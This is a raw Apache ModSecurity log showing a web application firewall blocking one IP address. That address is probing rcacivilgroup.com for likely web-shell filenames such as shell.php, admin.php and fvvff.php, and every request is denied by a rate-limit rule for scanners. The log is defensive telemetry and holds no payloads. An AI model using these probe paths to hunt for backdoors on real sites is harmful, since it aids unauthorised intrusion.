[Wed May 13 10:44:55.716487 2026] [:error] [pid 23787:tid 23864] [client 20.48.166.247:22146] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agPlpx1cs5wE7VT6wirPPQAAAJA"]
[Wed May 13 10:44:56.198805 2026] [:error] [pid 23787:tid 23860] [client 20.48.166.247:22165] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agPlqB1cs5wE7VT6wirPPgAAAIw"]
[Wed May 13 10:44:56.627737 2026] [:error] [pid 23780:tid 23814] [client 20.48.166.247:22121] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bthil.php"] [unique_id "agPlqHXgOibPjrXgeTBeGwAAABQ"]
[Wed May 13 10:44:57.092760 2026] [:error] [pid 23782:tid 23821] [client 20.48.166.247:22303] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agPlqSBrKFYHXUGnR-qe8gAAAEA"]
[Wed May 13 10:44:57.578736 2026] [:error] [pid 23782:tid 23832] [client 20.48.166.247:22364] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agPlqSBrKFYHXUGnR-qe9AAAAEs"]
[Wed May 13 10:44:58.094721 2026] [:error] [pid 23787:tid 23864] [client 20.48.166.247:22223] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agPlqh1cs5wE7VT6wirPaQAAAJA"]
[Wed May 13 10:44:58.546224 2026] [:error] [pid 23780:tid 23795] [client 20.48.166.247:22244] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/shell.php"] [unique_id "agPlqnXgOibPjrXgeTBeHgAAAAE"]
[Wed May 13 10:44:59.026522 2026] [:error] [pid 23887:tid 23913] [client 20.48.166.247:22257] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agPlq9SKmvZJZkXBFDBGdgAAANI"]
[Wed May 13 10:44:59.485101 2026] [:error] [pid 23787:tid 23869] [client 20.48.166.247:22318] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agPlqx1cs5wE7VT6wirPhgAAAJU"]
[Wed May 13 10:44:59.967806 2026] [:error] [pid 23887:tid 23902] [client 20.48.166.247:22172] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agPlq9SKmvZJZkXBFDBGdwAAAMc"]
[Wed May 13 10:45:00.418589 2026] [:error] [pid 23887:tid 23903] [client 20.48.166.247:22282] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "agPlrNSKmvZJZkXBFDBGeAAAAMg"]
[Wed May 13 10:45:00.970082 2026] [:error] [pid 3259:tid 3274] [client 20.48.166.247:22206] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agPlrOWJB4YwcPVLeArFHQAAAQ0"]
[Wed May 13 10:45:01.402048 2026] [:error] [pid 23782:tid 23842] [client 20.48.166.247:22144] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agPlrSBrKFYHXUGnR-qe-QAAAFU"]
[Wed May 13 10:45:01.922131 2026] [:error] [pid 3259:tid 3277] [client 20.48.166.247:22229] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agPlreWJB4YwcPVLeArFHgAAARA"]
[Wed May 13 10:45:02.426935 2026] [:error] [pid 3259:tid 3282] [client 20.48.166.247:22201] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "agPlruWJB4YwcPVLeArFHwAAARU"]
[Wed May 13 10:45:02.899399 2026] [:error] [pid 23782:tid 23825] [client 20.48.166.247:22332] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agPlriBrKFYHXUGnR-qfAAAAAEQ"]
[Wed May 13 10:45:03.345703 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22024] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agPlr9SKmvZJZkXBFDBGfQAAAMI"]
[Wed May 13 10:45:03.806922 2026] [:error] [pid 23887:tid 23918] [client 20.48.166.247:22361] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agPlr9SKmvZJZkXBFDBGfgAAANc"]
[Wed May 13 10:45:04.237809 2026] [:error] [pid 23787:tid 23858] [client 20.48.166.247:22153] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agPlsB1cs5wE7VT6wirPrAAAAIo"]
[Wed May 13 10:45:04.770905 2026] [:error] [pid 3259:tid 3280] [client 20.48.166.247:22171] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agPlsOWJB4YwcPVLeArFIgAAARM"]
[Wed May 13 10:45:05.190443 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:22164] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agPlseWJB4YwcPVLeArFJQAAAQM"]
[Wed May 13 10:45:05.675163 2026] [:error] [pid 23887:tid 23908] [client 20.48.166.247:22217] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agPlsdSKmvZJZkXBFDBGgQAAAM0"]
[Wed May 13 10:45:06.133970 2026] [:error] [pid 3259:tid 3266] [client 20.48.166.247:22289] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "agPlsuWJB4YwcPVLeArFJwAAAQU"]
[Wed May 13 10:45:06.638860 2026] [:error] [pid 23887:tid 23900] [client 20.48.166.247:22168] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agPlstSKmvZJZkXBFDBGggAAAMU"]
[Wed May 13 10:45:07.178545 2026] [:error] [pid 3259:tid 3268] [client 20.48.166.247:22241] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agPls-WJB4YwcPVLeArFKAAAAQc"]
[Wed May 13 10:45:07.640604 2026] [:error] [pid 3259:tid 3271] [client 20.48.166.247:22167] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agPls-WJB4YwcPVLeArFKQAAAQo"]
[Wed May 13 10:45:08.078557 2026] [:error] [pid 23787:tid 23869] [client 20.48.166.247:22390] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class.php"] [unique_id "agPltB1cs5wE7VT6wirPrgAAAJU"]
[Wed May 13 10:45:08.512772 2026] [:error] [pid 23782:tid 23839] [client 20.48.166.247:22183] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agPltCBrKFYHXUGnR-qfAgAAAFI"]
[Wed May 13 10:45:09.001661 2026] [:error] [pid 3259:tid 3272] [client 20.48.166.247:22185] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agPlteWJB4YwcPVLeArFKgAAAQs"]
[Wed May 13 10:45:09.460720 2026] [:error] [pid 3259:tid 3281] [client 20.48.166.247:22093] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agPlteWJB4YwcPVLeArFKwAAARQ"]
[Wed May 13 10:45:09.990959 2026] [:error] [pid 23787:tid 23861] [client 20.48.166.247:22101] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/100.php"] [unique_id "agPltR1cs5wE7VT6wirPrwAAAI0"]
[Wed May 13 10:45:10.520320 2026] [:error] [pid 23780:tid 23796] [client 20.48.166.247:22088] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "agPltnXgOibPjrXgeTBeLgAAAAI"]
[Wed May 13 10:45:11.007356 2026] [:error] [pid 23787:tid 23860] [client 20.48.166.247:22086] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "agPltx1cs5wE7VT6wirPsAAAAIw"]
[Wed May 13 10:45:11.478472 2026] [:error] [pid 23782:tid 23841] [client 20.48.166.247:22237] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "agPltyBrKFYHXUGnR-qfBQAAAFQ"]
[Wed May 13 10:45:12.093847 2026] [:error] [pid 23782:tid 23831] [client 20.48.166.247:22247] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2026w.php"] [unique_id "agPluCBrKFYHXUGnR-qfBgAAAEo"]
[Wed May 13 10:45:12.722094 2026] [:error] [pid 23887:tid 23915] [client 20.48.166.247:22174] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agPluNSKmvZJZkXBFDBGhwAAANQ"]
[Wed May 13 10:45:13.361801 2026] [:error] [pid 23887:tid 23914] [client 20.48.166.247:22224] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agPludSKmvZJZkXBFDBGiQAAANM"]
[Wed May 13 10:45:14.109367 2026] [:error] [pid 23787:tid 23849] [client 20.48.166.247:22098] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agPluh1cs5wE7VT6wirPsQAAAIE"]
[Wed May 13 10:45:14.657293 2026] [:error] [pid 3259:tid 3280] [client 20.48.166.247:22242] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "agPluuWJB4YwcPVLeArFMAAAARM"]
[Wed May 13 10:45:15.201456 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:22234] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "agPlu-WJB4YwcPVLeArFMQAAAQM"]
[Wed May 13 10:45:15.684357 2026] [:error] [pid 23780:tid 23795] [client 20.48.166.247:22186] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "agPlu3XgOibPjrXgeTBeMAAAAAE"]
[Wed May 13 10:45:16.171615 2026] [:error] [pid 23787:tid 23862] [client 20.48.166.247:22299] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "agPlvB1cs5wE7VT6wirPswAAAI4"]
[Wed May 13 10:45:16.690158 2026] [:error] [pid 3259:tid 3279] [client 20.48.166.247:22245] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "agPlvOWJB4YwcPVLeArFMwAAARI"]
[Wed May 13 10:45:17.200718 2026] [:error] [pid 23780:tid 23813] [client 20.48.166.247:22080] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agPlvXXgOibPjrXgeTBeMQAAABM"]
[Wed May 13 10:45:17.649591 2026] [:error] [pid 3259:tid 3266] [client 20.48.166.247:22330] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agPlveWJB4YwcPVLeArFNAAAAQU"]
[Wed May 13 10:45:18.100461 2026] [:error] [pid 23780:tid 23798] [client 20.48.166.247:22387] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agPlvnXgOibPjrXgeTBeMgAAAAQ"]
[Wed May 13 10:45:18.546046 2026] [:error] [pid 23787:tid 23865] [client 20.48.166.247:22160] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "agPlvh1cs5wE7VT6wirPtQAAAJE"]
[Wed May 13 10:45:19.060620 2026] [:error] [pid 23887:tid 23918] [client 20.48.166.247:22145] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "agPlv9SKmvZJZkXBFDBGjAAAANc"]
[Wed May 13 10:45:19.575710 2026] [:error] [pid 23887:tid 23901] [client 20.48.166.247:22250] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "agPlv9SKmvZJZkXBFDBGjQAAAMY"]
[Wed May 13 10:45:20.082358 2026] [:error] [pid 23887:tid 23917] [client 20.48.166.247:22180] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "agPlwNSKmvZJZkXBFDBGjgAAANY"]
[Wed May 13 10:45:20.534287 2026] [:error] [pid 3259:tid 3263] [client 20.48.166.247:22130] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "agPlwOWJB4YwcPVLeArFNQAAAQI"]
[Wed May 13 10:45:21.018969 2026] [:error] [pid 23887:tid 23910] [client 20.48.166.247:22191] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "agPlwdSKmvZJZkXBFDBGkgAAAM8"]
[Wed May 13 10:45:21.510822 2026] [:error] [pid 3259:tid 3261] [client 20.48.166.247:22188] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "agPlweWJB4YwcPVLeArFNgAAAQA"]
[Wed May 13 10:45:22.022635 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22256] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "agPlwtSKmvZJZkXBFDBGlQAAAMw"]
[Wed May 13 10:45:22.654555 2026] [:error] [pid 3259:tid 3268] [client 20.48.166.247:22310] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "agPlwuWJB4YwcPVLeArFNwAAAQc"]
[Wed May 13 10:45:23.147524 2026] [:error] [pid 23887:tid 23899] [client 20.48.166.247:22132] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agPlw9SKmvZJZkXBFDBGlgAAAMQ"]
[Wed May 13 10:45:23.589036 2026] [:error] [pid 23887:tid 23903] [client 20.48.166.247:22147] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "agPlw9SKmvZJZkXBFDBGlwAAAMg"]
